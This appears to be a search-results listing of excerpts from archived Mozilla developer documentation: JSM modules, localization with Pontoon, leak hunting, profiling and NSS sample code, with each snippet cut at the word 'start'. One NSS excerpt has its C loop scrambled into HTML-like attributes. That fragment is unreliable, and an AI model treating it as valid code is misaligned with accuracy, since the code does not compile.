... the interface that the iid stored in the nsscriptnamespacemanager for this name represents (if the name is a class prototype, such as node). once the name of the parent interface is known (and the name is not nsisupports) the code will look up a property by that name on the global object. this will cause the code to recurse down along the parent chain of the interface of interest for the name we
started out resolving (i.e. nswindowsh::globalresolve() will be called for every name on the parent chain). the result of this recursion is that by resolving the name htmlimageelement, we'll create the constructor htmlimageelement, htmlelement, element, and node, and the prototype properties on all those constructor will be correctly set up. this means that the next time the name of a class constructor...
JavaScript Tips
llapsed attributes to properties, but note that these are boolean properties whereas the above list are all string properties. xul also maps other useful properties and methods using xbl bindings; these vary from element to element. ...
...properties whereas the above list are all string properties. xul also maps other useful properties and methods using xbl bindings; these vary from element to element. for best performance give ids to all important elements. ...
AddonInstall
this can be canceled at any time with the cancel() method. ...
...e simple display name of the signer. existingaddon addon the addon that this install will update. may be null if it isn't updating anything installed. this is guaranteed to be correct after downloading is complete but may be set earlier. addon addon the full addon that this install will install. only available after downloading is complete. methods install()
starts or continues the install process. the process will continue in the background until it fails, completes, one of the registered installlisteners pauses it, or the process is canceled by a call to the cancel() method. void install( ) cancel() cancels the install process, it cannot be re
started after this. void cancel( ) addlistener() adds a new installlistener if the listener is not already ...
AsyncShutdown.jsm
is blocker return status; } }); in this example, at some point during phase profilebeforechange, function condition will be called. phase profilebeforechange is guaranteed to not terminate until promise is either resolved or rejected. if, for some reason, promise is never resolved/rejected, firefox will crash during shutdown to avoid blocking system shutdown, preventing the user from re
starting firefox or burning through a battery. in this case, a crash report is produced, with information on all the shutdown blockers that have not been resolved, and all the additional debug information returned by calls to info(). instances of phase note that you cannot create an instance of phase yourself. see attributes for the instances of phase. if you need a new phase added to asyncshutdow...
...wn.profilebeforechange.addblocker("module: trivial callback", function condition() { // ... // execute this code during profilebeforechange // no specific guarantee about completion of profilebeforechange }); if the promise returned by condition is not resolved/rejected within one minute, the process will crash to avoid blocking system shutdown, preventing the user from re
starting firefox or burning through battery. this is by design. it is the caller's responsibility to ensure that the promise is eventually resolved/rejected. properties attribute type description profilebeforechange read only phase the profile is about to be unmounted. this phase represents the last chance to write data to the profile directory. ...
Following the Android Toasts Tutorial from a JNI Perspective
current activity remains visible and interactive. for example, navigating away from an email before you send it triggers a "draft saved" toast to let you know that you can continue editing later. toasts automatically disappear after a timeout. toasts do not have to be created with jni; they are exposed by the nativewindow feature on firefox for android, see toast documentation. java code let's
start with the following java code, which invokes a toast and says "hello, firefox!". context context = getapplicationcontext(); charsequence text = "hello, firefox!"; int duration = toast.length_short; toast toast = toast.maketext(context, text, duration); toast.show(); nativewindow code as mentioned earlier, toasts are a very popular feature, so mozilla developers chose to bring it to the privile...
...ast.show("hello, firefox!", "short"); converting java to jni.jsm the first step is to look at the java code and see all the different types, methods, constructors, and fields that are being used. in the toast code we have the following: types - context, charsequence, int, toast, and void methods - maketext, show fields - length_short no constructors are used. declare the types we will
start by declaring the types needed. in jni, there is the all-important property called sig. when something is declared, we are stating the sig and the name. the sig's will be represented as javascript strings in jni.jsm, and the sig's of the types are as follows: java type signature boolean z byte b char c class/object lclass name in sla...
PerfMeasurement.jsm
ment.jsm") see measuring performance using the perfmeasurement.jsm code module for details on how to use this api. note: at present, perfmeasurement.jsm is only functional on linux, but it is planned to add support for windows (bug 583322) and osx (bug 583323) as well, and we welcome patches for other operating systems. method overview static bool canmeasuresomething(); void reset(); void
start(); void stop(); member fields recorded data variables these variables provide access to the recorded data. any measurable event that was not being recorded has a value of -1 (that is, 0xffffffffffffffff). note: these values are all zeroed (or set to -1, for events not being measured) when you initialize the perfmeasurement object, then they are not zeroed again unless you explicitly call t...
... the specified event types. methods canmeasuresomething() indicates whether or not the platform on which your code is running supports this code module. static bool canmeasuresomething(); parameters none. return value if even one of the event types can be recorded, this will return true. otherwise, it returns false. reset() resets all the enabled counters to zero. void reset(); parameters none.
start()
starts measuring the performance indicators that were specified when the perfmeasurement object was created. void
start(); parameters none. stop() stops measuring performance data. for each enabled counter, the number of measured events of that type that occurred are added to the appropriate visible variable. void stop(); parameters none. ...
Promise.jsm
just need a promise, consider using a dom promise instead. if you need a deferred, because you want to create a promise and manually resolve or reject it, consider using promiseutils.jsm instead. to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/promise.jsm"); note: a preliminary promise module is also available
starting from gecko 17, though it didn't conform to the promises/a+ proposal until gecko 25: components.utils.import("resource://gre/modules/commonjs/promise/core.js"); // gecko 17 to 20 components.utils.import("resource://gre/modules/commonjs/sdk/core/promise.js"); // gecko 21 to 24 this implementation also includes helper functions that are specific to the add-on sdk. while you may still impor...
...); // gecko 17 to 20 components.utils.import("resource://gre/modules/commonjs/sdk/core/promise.js"); // gecko 21 to 24 this implementation also includes helper functions that are specific to the add-on sdk. while you may still import this module from the above paths, the recommended way for loading it is through the add-on sdk loader. introduction for an introduction to promises, you may
start from the add-on sdk documentation, keeping in mind that only the core subset is implemented in this module. a promise is an object representing a value that may not be available yet. internally, a promise can be in one of three states: pending, when the final value is not available yet. this is the only state that may transition to one of the other two states. fulfilled, when and if the fina...
PromiseWorker.jsm
d log). but you can instantiate abstractworker itself and set its properties later, instead of creating derived class. main thread file the basepromiseworker object needs to be imported: const { utils: cu } = components; const { basepromiseworker } = cu.import('resource://gre/modules/promiseworker.jsm', {}); let myworker = new basepromiseworker('path_to_worker_file.js'); you're now ready to
start using promiseworker. sending a message from main thread to send a message to a worker from the main thread, one normally uses postmessage(). for promiseworker objects, however, you can't do that. instead, use the post() method, as seen below. post syntax promise = myworker.post(afunctionname, aargs, aclosure, atransferlist); parameters afunctionname the name of the function to be cal...
...worker = new promiseworker.abstractworker(); worker.dispatch = function(method, args = []) { return self[method](...args); }; worker.postmessage = function(...args) { self.postmessage(...args); }; worker.close = function() { self.close(); }; worker.log = function(...args) { dump('worker: ' + args.join(' ') + '\n'); }; self.addeventlistener('message', msg => worker.handlemessage(msg)); //
start - my functionalities function resolvetest(shouldresolve) { if (shouldresolve) { return 'you sent to promiseworker argument of: `' + shouldresolve + '`'; } else { throw new error('you passed in a non-true value for shouldresolve argument and therefore this will reject the main thread promise'); } } main thread file bootstrap.js const { utils: cu } = components; const { basepromi...
SourceMap.jsm
n the original source, or null if this information is not available. column: the column number in the original source, or null if this information is not available. name: the original identifier, or null if this information is not available. sourcemapgenerator an instance of the sourcemapgenerator represents a source map which is being built incrementally. new sourcemapgenerator(
startofsourcemap) to create a new one, you must pass an object with the following properties: file: the filename of the generated source that this source map is associated with. sourceroot: an optional root for all relative urls in this source map. sourcemapgenerator.prototype.addmapping(mapping) add a single mapping from original source line and column to the generated source's line ...
...ource snippet. useful for trimming whitespace from the end of a source node, etc. pattern: the pattern to replace. replacement: the thing to replace the pattern with. sourcenode.prototype.tostring() return the string representation of this source node. walks over the tree and concatenates all the various snippets together to one string. sourcenode.prototype.tostringwithsourcemap(
startofsourcemap) returns the string representation of this tree of source nodes, plus a sourcemapgenerator which contains all the mappings between the generated and original sources. the arguments are the same as those to new sourcemapgenerator. ...
WebRequest.jsm
nd chrome's, though: see chrome incompatibilities for the details. usage to import webrequest, use code like: let {webrequest} = cu.import("resource://gre/modules/webrequest.jsm", {}); the webrequest object has the following properties, each of which corresponds to a specific stage in executing a web request: onbeforerequest onbeforesendheaders onsendheaders onheadersreceived onresponse
started oncompleted each of these objects defines two functions: addlistener(callback, filter, opt_extrainfospec) removelistener(callback) adding listeners use addlistener to add a listener to a particular event. it takes one mandatory argument and two optional arguments, as detailed below. name type description callback function the callback argument i...
... if the resource will not be loaded into a xul browser. method string the http method to be used (get, post, etc). responseheaders array of http headers. the http response headers that were received. this is only included if you set "responseheaders" in the opt_extrainfospec argument. statuscode number http response code. onresponse
started triggered once the browser has
started to receive the response body. note that you can't pass "blocking" for this event, so you can't modify or cancel the request from this event: it's informational only. opt_extrainfospec values name description "responseheaders" include response headers in the argument passed to the listener. listener argument n...
Localizing with Pontoon
are you a developer? read about implementing pontoon in your project or learn how to get involved on github. first steps pontoon's home page is very easy to use. to begin localizing the project, click on the persona icon and sign in. next, simply select the project you want to work on and your locale from the dropdown menus. pontoon will automatically open that locale's project for you to get
started. note that for our purposes here, we'll be using firefox affiliates website to demo pontoon's functionality and workflow. and there it is, opened inside pontoon: main toolbar as you can see, most of the interface is taken by the website being translated. only the toolbar on top belongs to pontoon, containing the following items (from left to right): list of strings opens a sidebar with ...
...y, downloading files and signing out. info menu gives important information, like the anticipated project timeline and a list of keyboard shortcuts. alright, how about we do some translating now? translate strings when using pontoon for localization, you have a couple of options to translate your strings. you can translate in-context, out-of-context, or a combination of the two. we'll
start with looking at in-context translation. in-context pontoon's in-context translation mode is what puts it above others. it opens a web page (or web app) and enables real-time editing of that page. here's how you translate your first string: hover over the text you want to translate with your mouse. an edit button appears over that text. click on it to enable the translate mode. replace th...
QA phase
langpack will put you one step closer to having your localization added to the l10n releases. follow the steps below to test your localization: install aurora in your preferred language. install the .xpi langpack you just created (or exported). set your language using the quick locale switcher or locale switcher add-ons by navigating to tools->language->your localization's language code. re
start your browser and
start testing! now you should be able to see all of your work up to this point. click here for guidelines on how to test your localization. don't lose your work! your work is so important! we would really hate to see you lose any of it. after you test your localization, you should send it to a remote repository, which will serve as a backup for your work and will let others f...
...or your work and will let others follow your progress. we're going to go through the process below. the official localization teams use repositories at hg.mozilla.org. before a team becomes official, we like to get the localizers comfortable with the hg commands that allow for cloning, pulling, committing, and pushing work to an experimental repository. we use a web service called bit bucket to
start the learning process. note: you must have mercurial configured before you begin. that step is back on the initial setup page. if you haven't done that yet, don't worry, we'll wait for you! pushing to your repository there are a couple of things you should take note of before you push to your repository: make sure that your files have been encoded in unicode without bom (byte order mark). r...
Localization technical reviews
we use this review process to perform quality assurance (qa) testing on your l10n efforts. ...
...green circle in the furthest column to the right as well as a measure of percentage in the middle column. first round approved! once your work is entirely approved, go out and celebrate! you've accomplished a massive undertaking and you deserve to be rewarded! go grab a drink with friends and enjoy your latest success! after you've finished celebrating your first approved release, it's time to
start planning for the next one! when you update your localization for the next release, you'll need to put it through a different form of qa review called a sign-off review. visit the wiki page for sign-off reviews to learn what's involved when maintaining a localized mozilla product. ...
Creating localizable web applications
use comments in the code to help localizers understand what they are translating. you can explain where the string will appear in the application, or what the variables used in the string will be replaced with. put comments in the same line as the gettext function call (inline comments, in php these are /* ... */), or one line directly above the gettext function call (block comments, in php they
start with # ... or // ...). in either way, use a consistent prefix for localization-related comments, e.g. "l10n". when extracting strings with xgettext you will be able to include only comments
starting with this prefix using the --add-comments=prefix option, for example xgettext --add-comments=l10n. snippet 1. bad: <h1> <a href="<?= $locale_conf->url('/') ?>"> <img src="/static/img/logo.png"...
...bad: ...
Setting up the infrastructure
first, make your project's file type decision (see localization formats for details): html/php .lang gettext (.po) assuming you chose gettext, you'll need to follow the steps below to set up the infrastructure for localizing your web application. requirements: php with gettext support, apache and some unix experience. create a new branch for l10n (optional if
starting a new project). create a locale directory in your website (usually something like docroot/locale). copy the shell scripts from /addons/trunk/site/app/locale/ to your locale directory: extract-po.sh will be used to extract all english strings from your application's directories specified in source_dirs, merge the resulting template (*.pot) file with the existing (already containing translations) messages...
...h locale. create en-us locale (locale/lc_messages/) in the locale folder. create an empty filed named messages.po in the locale/lc_messages folder. create new locales by repeating steps 4 and 5 for each of them. review the english content following the web content localizability guidelines. review your code following the web applications localizability guidelines. run extract-po.sh. re
start apache to reload gettext files (necessary for any text changes). merge the l10n branch back to main trunk (if the l10n branch was created in step 1). copy files over to svn. set up the staging server. set up a cronjob to svn up every n minutes. set up a cronjob to run compile-mo.sh every m minutes. qa with new locale. fix any layout issues. ...
Fonts for Mozilla's MathML engine
p. open the zip archive, move inside the /stixv2.0.0/fonts/otf/ directory. you will find the stixmath-regular, stix-regular, stix-bold, stix-italic, stix-bolditalic font files. open the stixmath-regular font file and click the "install the font" button from the window that opens. if desired, you may also do the same for the other font files. note: a deprecated version of stix is preinstalled
starting with os x lion and should ensure relatively good mathml rendering. enhancement requests have been submitted to apple to ship opentype math fonts in the default installation. if you have a developer account, these are problems 16841023 and 17021145. linux install the latin modern math, stix or xits fonts, which are generally available from your package manager. on debian/ubuntu/mint and oth...
...see the authoring mathml page for details and try the mathml torture test. you can use fontforge and fonttools to edit the math table and create your own mathematical fonts. ...
Mozilla DOM Hacking Guide
chnique is to do window.location = "http://mozilla.org" instead of the correct window.location.href = "http://mozilla.org". so, we have to override the default behavior of "setting the location property on the window object". the default behavior would be that xpconnect expects a nsidomlocation object. however it would be passed a js string. a bad conversion exception would be thrown. ...
... what there is to do locate the dom object classinfo data in the sclassinfodata array. in our example, it is the window object. the three parameters passed to the macro, as described in the previous section, are the dom object name, the scriptable helper class, and the scriptable flags. ...
Mozilla Development Strategies
which can take several days or weeks to complete, plus the time for reviews. in your other trees, work on smaller, easier bugs. pick bugs that won't cause conflicts with the work you're doing in your primary tree. pick bugs that should only take you a few hours or a day to fix. in theory, fixes for these bugs will be quick to review. if you have problems finding smaller, easier bugs to work on,
start by looking for crashers. maybe the problem can be turned into an assert, or fixed altogether. you can use talkback queries or bugzilla queries to find crashers. look for problems in existing code. find and fix string usage problems. find and fix bad xpcom macro usage. switch some code over to nscomptrs. look for xxx or todo in the code, verify the code still needs fixing, and fix it. smaller pa...
...g a solid code review. review your own code before you ask for reviews practice your reviewing skills on your own patch before you seek reviews and a super review. better that you catch something, than the reviewers or super reviewers. you might find a problem, or find that you left in some dump() or printf() statements, or have messed up the whitespace. if you're working on something massive,
start a branch if you are working on something big, and you want to be able to check in incrementally without getting reviews, create a branch. but having a branch means dealing with conflicts when you land, and waiting a long time for reviews. here's how to create a branch: from your linux or mac os x box: #
start from your trunk tree on your local disk cd mozilla find . -type d \! -name cvs | xar...
Mozilla Style System Documentation
text tree. the functions that form the style context automatically adds the context to the tree correctly. dynamic changes describe nsframemanager::reresolvestylecontext and nsiframe::getparentstylecontextframe ...</p> describe nscssframeconstructor::attributechanged hack for style attribute that avoids style context tree manipulation. problems: dynamic style changes scrap the whole thing and
start over. this is very hard to fix because of the "sibling-sharing" optimisation. matters dealing with dynamic style changes are also tricky because the style contexts don't have pointers to their frames, but instead, we have the reverse and is probably the biggest flaw in the design of this part of the system. getting style data from a style context to get style data from a style context, use the ...
... them), but structs that are shared between rule nodes are stored only on the highest rule node to which they apply and then retrieved from that most upper rule node every time they are needed. the code that does this sharing work is mostly in nsstylecontext::getstyledata, nsrulenode::getstyledata, and nsrulenode::walkruletree. when nsrulenode::walkruletree computes a struct, it walks the rules,
starting with the style context's rule node, towards the root of the rule tree. it uses the appropriate declaration struct and has each rule fill in any properties specified by that rule that are not filled in already. the walking stops when all of the properties are filled in or when the root of the rule tree is reached. then the style struct is computed from the declaration and stored at the appropri...
Investigating leaks using DMD heap scan mode
gs in content processes, in order to make shutdown faster. the allowed values here are the same as those returned by xre_getprocesstype(), so adjust as needed. finally, the --dmd option need to be passed in so that dmd will be run. --mode=scan is needed so that when we get a dmd log the entire contents of each block of memory is saved for later analysis. with that command line in hand, you can
start firefox. be aware that this may take multiple minutes if you have optimization disabled. once it has
started, go through the steps you need to reproduce your leak. if your leak is a ghost window, it can be handy to get an about:memory report and write down the pid of the leaking process. you may want to wait 10 or so seconds after this to make sure as much as possible is cleaned up. next, exit ...
...ssibly) contains a pointer to that object. you can pass some additional options to affect how the results are displayed. “-sfl 10000 -a” is useful. the -sfl 10000 tells it to not truncate stack frames, and -a tells it to not display generic frames related to the allocator. caveat: i think block_analyzer.py does not attempt to clamp the address you pass into it, so if it is an offset from the
start of the block, it won’t find it. block_analyzer.py will return a series of entries that look like this (with the [...] indicating where i have removed things): 0x7f089306b000 size = 4096 bytes at byte offset 2168 nsattrandchildarray::growby[...] nsattrandchildarray::insertchildat[...] [...] 0x7f089306b000 is the address of the block that contains $leakaddr. 144 bytes is the size of that...
Leak-hunting strategies and tips
use (1) large graphs of leaked objects tend to include some objects pointed to by global variables that confuse gc-based leak detectors, which can make leaks look smaller (as in bug 99180) or hide them completely and (2) large graphs of leaked objects tend to hide smaller ones, it's much better to go after the large graphs of leaks first. a good general pattern for finding and fixing leaks is to
start with a task that you want not to leak (for example, reading email).
start finding and fixing leaks by running part of the task under nstracerefcnt logging, gradually building up from as little as possible to the complete task, and fixing most of the leaks in the first steps before adding additional steps. (by most of the leaks, i mean the leaks of large numbers of different types of objects or le...
...st steps before adding additional steps. (by most of the leaks, i mean the leaks of large numbers of different types of objects or leaks of objects that are known to entrain many non-logged objects such as js objects. seeing a leaked globalwindowimpl, nsxulpdglobalobject, nsxbldocglobalobject, or nsxpcwrappedjs is a sign that there could be significant numbers of js objects leaked.) for example,
start with bringing up the mail window and closing the window without doing anything. then go on to selecting a folder, then selecting a message, and then other activities one does while reading mail. once you've done this, and it doesn't leak much, then try the action under trace-malloc or lsan or valgrind to find the leaks of smaller graphs of objects. (when i refer to the size of a graph of objects...
Reporting a Performance Problem
opwatch icon you can right-click on the button and remove it from the toolbar when you're done with it. using the profiler when enabled, the profiler toolbar button is not recording by default. recording can be done by clicking on the toolbar icon to open its panel. make sure to choose an appropriate setting for the recording (if you're not sure, choose firefox platform), and then choosing "
start recording". the toolbar icon turns blue when it is recording. the profiler uses a fixed size buffer to store sample data. when it runs out of space in its buffer, it discards old entries so you may want to increase the buffer size if you find you are unable to capture the profile quickly enough after you notice a performance problem. if you choose custom settings (and then clicking edit settings...
...g edit settings) for the profiler, you can adjust the size of the buffer (presently defaults to 90 mb) and the time interval between data collection (presently defaults to 1 ms). note that increasing the buffer size uses more memory and can make capturing a profile take longer. using the keyboard shortcuts is often more convenient than using the mouse to interact with the ui: ctrl+shift+1 -
start/stop the profiler ctrl+shift+2 - take a profile and launch the viewer to view it capturing and sharing a profile while the profiler is recording, reproduce the performance problem. if possible let the problem manifest itself for 5-10 seconds. press ctrl+shift+2 or click on the profiler toolbar icon in the top right and select 'capture'. try to do this within a few seconds from reproducing ...
Scroll-linked effects
janky and not as smooth as intended. instead, using the css snap-points property will allow the browser to run the animation asynchronously, providing a smooth visual effect to the user. <body style="height: 5000px"> <style> body, /* blink currently has bug that requires declaration on `body` */ html { scroll-snap-type: y proximity; } .snaptarget { scroll-snap-align:
start; position: relative; top: 200px; height: 200px; background-color: green; } </style> <div class="snaptarget"></div> </body> this version can work smoothly in the browser even if there is slow-running javascript on the browser's main thread. other effects in many cases, scroll-linked effects can be reimplemented using css and made to run on the compositor thread. ho...
...version can work smoothly in the browser even if there is slow-running javascript on the browser's main thread. other effects in many cases, scroll-linked effects can be reimplemented using css and made to run on the compositor thread. however, in some cases the current apis offered by the browser do not allow this. in all cases, however, firefox will display a warning to the developer console (
starting in version 46) if it detects the presence of a scroll-linked effect on a page. pages that use scrolling effects without listening for scroll events in javascript will not get this warning. see the asynchronous scrolling in firefox blog post for some more examples of effects that can be implemented using css to avoid jank. future improvements going forward, we would like to support more effec...
about:memory
this "explicit" value at the root of the tree represents all the memory allocated via explicit calls to allocation functions. the "window-objects" sub-tree represents all javascript window objects, which includes the browser tab...
...ssified" value represents heap-allocated memory that is not measured by any memory reporter. this is typically 10--20% of "explicit". if it gets higher, it indicates that additional memory reporters should be added. dmd can be used to determine where these memory reporters should be added. there are measurements for other content such as images and workers, and for browser subsystems such as the
startup cache and xpconnect. some add-on memory usage is identified, as the following example shows. ├───40,214,384 b (04.17%) -- add-ons │ ├──21,184,320 b (02.20%) ++ {d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}/js-non-window/zones/zone(0x100496800)/compartment([system principal], jar:file:///users/njn/library/application%20support/firefox/profiles/puna0zr8.new/extensions/%7bd10d0bf8-f5...
Emscripten
using emscripten, you can compile c and c++ code into javascript compile any other code that can be translated into llvm bytecode into javascript. ...
...g from high performance games that need to render graphics, play sounds, and load and process files, through to application frameworks like qt. emscripten generates fast code — its default output format is asm.js , a highly optimizable subset of javascript that can execute at close to native speed in many cases. note: sound interesting? read more about emscripten and try some demos, then get
started with using it. other articles of interest on mdn our games zone contains some useful content related to games development, which is a common area of use for emscripten. our emscripten techniques page is a place to store useful emscripten-related ideas that haven't made it onto the emscripten wiki. ...
AsyncTestUtils extended framework
st functions need to agree to the following contract: the asynchronous function contract a function should yield false or return false when something asynchronous is going on. when the asynchronous operation is complete, something needs to call async_driver(). returning false tells the asynchronous driver that it should yield control up to the top-level. calling async_driver() lets it know to
start up again. a function should yield true or return true when the asynchronous driver should continue executing without stopping. a function that does not return anything (or returns undefined) and is not a generator is treated like a function that returned true. most of the things you will want to do already have helper functions that take care of all of this, so all you need to do is pass thei...
... is that every message is its own thread; no message is a reply to any other message. if you pass a number greater than 1, then you get a direct reply-chain that long. for example, if you pass 3, then 1 <- 2 <- 3 is what the reply chain looks like. if you need more complicated threads you will need to use the messagescenariofactory. age: (strictly incrementing from arbitrary origin) the default
starts at jan 1, 2000 and adds an hour for every message. if you pass an object, it should be an object with one or more of the following attributes: minutes, hours, days, weeks. these attributes specify how old the message should be. for example, {weeks: 2, days: 3} would be a message sent exactly 17 days ago. if you pass age, you should also pass age_incr. age_incr: (no increment) takes an object o...
Anonymous Shared Memory
examples, the server creates the file-mapped shared memory, the client attaches to it. first protocol server: fm = pr_openanonfilemap(dirname, size, filemapprot); addr = pr_memmap(fm); attr = pr_newprocessattr(); pr_processattrsetinheritablefilemap( attr, fm, shmname ); pr_createprocess(client); pr_destroyprocessattr(attr); ... yadda ... pr_memunmap( addr ); pr_closefilemap(fm); client: ...
started by server via pr_createprocess() fm = pr_getinheritedfilemap( shmname ); addr = pr_memmap(fm); ... yadda ... pr_memunmap(addr); pr_closefilemap(fm); second protocol server: fm = pr_openanonfilemap(dirname, size, filemapprot); fmstring = pr_exportfilemapasstring( fm ); addr = pr_memmap(fm); ... application specific technique to pass fmstring to child ... yadda ... server uses his own magic t...
... ); addr = pr_memmap(fm); ... yadda ... pr_memunmap(addr); pr_closefilemap(fm); second protocol server: fm = pr_openanonfilemap(dirname, size, filemapprot); fmstring = pr_exportfilemapasstring( fm ); addr = pr_memmap(fm); ... application specific technique to pass fmstring to child ... yadda ... server uses his own magic to create child pr_memunmap( addr ); pr_closefilemap(fm); client: ...
started by server via his own magic ... application specific technique to find fmstring from parent fm = pr_importfilemapfromstring( fmstring ) addr = pr_memmap(fm); ... yadda ... pr_memunmap(addr); pr_closefilemap(fm); anonymous shared memory functions pr_openanonfilemap pr_processattrsetinheritablefilemap pr_getinheritedfilemap pr_exportfilemapasstring pr_importfilemapfromstring ...
NSS API Guidelines
les are protected against double inclusion (and even double opening by the compiler). note: it's not necessary all eight files exist. further, this is a simple ideal, and often reality is more complex. we would like to keep names to 8.3, even if we no longer support win16. this usually gives us four characters to identify a module of nss. in short: header files for consumption outside nss
start with "nss." header files with types have a trailing "t", header files with prototypes don't. "extern" declarations of data also go in the prototypes files. "friend" headers are for things that we really wish weren't used by non-nss code, but which are. those files have a trailing "f," and their use should be deprecated. "module" headers are for things used only within a specific subset of nss;...
...) and using reader/writer locks. copy the linked list: instead of operating on the global list, you can copy the list. this also requires small lists. lock over single element with retry: for medium sized lists, you can secure the reference to each element, complete a test, then detect if the given element has been removed from the list. in the case of removal, the search can either be either re
started, or terminated. this method is a more complicated than the other methods: requiring the calling of search code tolerant to often repeated element inspection. examples of the previous strategies can be found in security/nss/lib/pk11wrap/pk11slot.c. where possible use the nspr list primitives. from these you can even set up secutil style thread-safe lists that use some combination of the above...
NSS Developer Tutorial
atted as follows: /* * line1 * line2 */ or /* ** line 1 ** line 2 */ the following styles are also common, because they conserve vertical space: /* line1 * line2 */ or /* line1 ** line2 */ or /* line1 * line2 */ naming public functions are named foo_dooneaction. global, but unexported functions, are usually named foo_dooneaction. variable, and function parameter names, always
start with a lowercase letter. the most common style is foobarbaz, although foobarbaz and foo_bar_baz are also used. miscellaneous goto can be used, to simplify resource deallocation, before returning from a function. a data buffer is usually represented as: unsigned char *data; unsigned int len; the buffer pointer is unsigned char *, as opposed to void *, so we can perform pointer arithme...
... to those declared in <stdint.h> (which will be used by nspr in the future). universal character names are not permitted, as are wide character types (char16_t and char32_t). nss source should only include ascii text. escape non-printing characters (with \x if there is no special escape such as \r, \n, and \t) and avoid defining string literals that use non-ascii characters. one line comments
starting with // are permitted. check with nss-dev@ before using a language feature not already used, if you are uncertain. please update this list if you do. these restrictions are different for c++ unit tests, which can use most c++11 features. the mozilla c++ language features guide, and the chromium c++ usage guide, list c++ features that are known to be widely available and compatible. you sho...
Enc Dec MAC Using Key Wrap CertReq PKCS10 CSR
st der */ certreq = getcertrequest(infilename, ascii); if (certreq == null) { rv = secfailure; goto cleanup; } subjectcert = makev1cert(handle, certreq, issuernickname, selfsign, serialnumber, warpmonths, validitymonths); if (subjectcert == null) { rv = secfailure; goto cleanup; } exthandle = cert_
startcertextensions (subjectcert); if (exthandle == null) { rv = secfailure; goto cleanup; } if (certreq->attributes != null && certreq->attributes[0] != null && certreq->attributes[0]->attrtype.data != null && certreq->attributes[0]->attrtype.len > 0 && secoid_findoidtag(&certreq->attributes[0]->attrtype) == sec...
... cr = cert_createcertificaterequest(subject, spki, null); if (!cr) { pr_fprintf(pr_stderr, "unable to make certificate request\n"); rv = secfailure; goto cleanup; } arena = port_newarena(der_default_chunksize); if (!arena) { fprintf(stderr, "out of memory"); rv = secfailure; goto cleanup; } exthandle = cert_
startcertificaterequestattributes(cr); if (exthandle == null) { port_freearena (arena, pr_false); rv = secfailure; goto cleanup; } cert_finishextensions(exthandle); cert_finishcertificaterequestattributes(cr); /* der encode the request */ encoding = sec_asn1encodeitem(arena, null, cr, sec_asn1_get(cert_cer...
NSS Sample Code Utilities_1
urn null; } nb = pr_read(fd, phrases, maxpwdfilesize); pr_close(fd); if (nb == 0) { fprintf(stderr,"password file contains no data\n"); port_free(phrases); return null; } if (slot) { tokenname = pk11_gettokenname(slot); if (tokenname) { tokenlen = port_strlen(tokenname); } } i = 0; do { int
startphrase = i; int phraselen; /* handle the windows eol case */ while (phrases[i] != '\r' && phrases[i] != '\n' && i < nb) i++; /* terminate passphrase */ phrases[i++] = '\0'; /* clean up any eol before the
start of the next passphrase */ while ( (i<nb) analyze="" char="" current="" getmodulepassword="" if="" int="" now="" passphrase="" phrase...
... int phraselen; /* handle the windows eol case */ while (phrases[i] != '\r' && phrases[i] != '\n' && i < nb) i++; /* terminate passphrase */ phrases[i++] = '\0'; /* clean up any eol before the
start of the next passphrase */ while ( (i<nb) analyze="" char="" current="" getmodulepassword="" if="" int="" now="" passphrase="" phrase="&phrases[
startphrase];" phraselen="" pk11slotinfo="" pwdata="=" pwdata-="" retry="" return="" secupwdata="" the="" void="" while="">source != pw_none) { pr_fprintf(pr_stderr, "incorrect password/pin entered.\n"); return null; } switch (pwdata->source) { case pw_none: sprintf(prompt, "enter password or pin for \"%s\":", pk11_gettokenname(slot)); return...
Utilities for nss samples
urn null; } nb = pr_read(fd, phrases, maxpwdfilesize); pr_close(fd); if (nb == 0) { fprintf(stderr,"password file contains no data\n"); port_free(phrases); return null; } if (slot) { tokenname = pk11_gettokenname(slot); if (tokenname) { tokenlen = port_strlen(tokenname); } } i = 0; do { int
startphrase = i; int phraselen; /* handle the windows eol case */ while (phrases[i] != '\r' && phrases[i] != '\n' && i < nb) i++; /* terminate passphrase */ phrases[i++] = '\0'; /* clean up any eol before the
start of the next passphrase */ while ( (i<nb) && (phrases[i] == '\r' || phrases[i] == '\n')) { phrases[i++] = '\0'; }...
.../ while (phrases[i] != '\r' && phrases[i] != '\n' && i < nb) i++; /* terminate passphrase */ phrases[i++] = '\0'; /* clean up any eol before the
start of the next passphrase */ while ( (i<nb) && (phrases[i] == '\r' || phrases[i] == '\n')) { phrases[i++] = '\0'; } /* now analyze the current passphrase */ phrase = &phrases[
startphrase]; if (!tokenname) break; if (port_strncmp(phrase, tokenname, tokenlen)) continue; phraselen = port_strlen(phrase); if (phraselen < (tokenlen+1)) continue; if (phrase[tokenlen] != ':') continue; phrase = &phrase[tokenlen+1]; break; } while (i<nb); phrase = port_strdup((char*)phrase); port_free(phrases); ret...
sample2
dwr | pr_create_file | pr_truncate, 00660); /* create a cert request object from the input cert request der */ certreq = getcertrequest(infilename, ascii); if (certreq == null) { rv = secfailure; goto cleanup; } subjectcert = makev1cert(handle, certreq, issuernickname, selfsign, serialnumber, warpmonths, validitymonths); if (subjectcert == null) { rv = secfailure; goto cleanup; } exthandle = cert_
startcertextensions (subjectcert); if (exthandle == null) { rv = secfailure; goto cleanup; } if (certreq->attributes != null && certreq->attributes[0] != null && certreq->attributes[0]->attrtype.data != null && certreq->attributes[0]->attrtype.len > 0 && secoid_findoidtag(&certreq->attributes[0]->attrtype) == sec_oid_pkcs9_extension_request) { rv = cert_getcertificaterequestextensions(certreq, &crexts)...
...subject public key\n"); rv = secfailure; goto cleanup; } /* generate certificate request */ cr = cert_createcertificaterequest(subject, spki, null); if (!cr) { pr_fprintf(pr_stderr, "unable to make certificate request\n"); rv = secfailure; goto cleanup; } arena = port_newarena(der_default_chunksize); if (!arena) { fprintf(stderr, "out of memory"); rv = secfailure; goto cleanup; } exthandle = cert_
startcertificaterequestattributes(cr); if (exthandle == null) { port_freearena (arena, pr_false); rv = secfailure; goto cleanup; } cert_finishextensions(exthandle); cert_finishcertificaterequestattributes(cr); /* der encode the request */ encoding = sec_asn1encodeitem(arena, null, cr, sec_asn1_get(cert_certificaterequesttemplate)); if (encoding == null) { pr_fprintf(pr_stderr, "der encoding of request ...
PKCS 7 functions
3.2 and later sec_pkcs7createenvelopeddata mxr 3.2 and later sec_pkcs7createsigneddata mxr 3.2 and later sec_pkcs7decodeitem mxr 3.2 and later sec_pkcs7decoderabort mxr 3.9 and later sec_pkcs7decoderfinish mxr 3.2 and later sec_pkcs7decoder
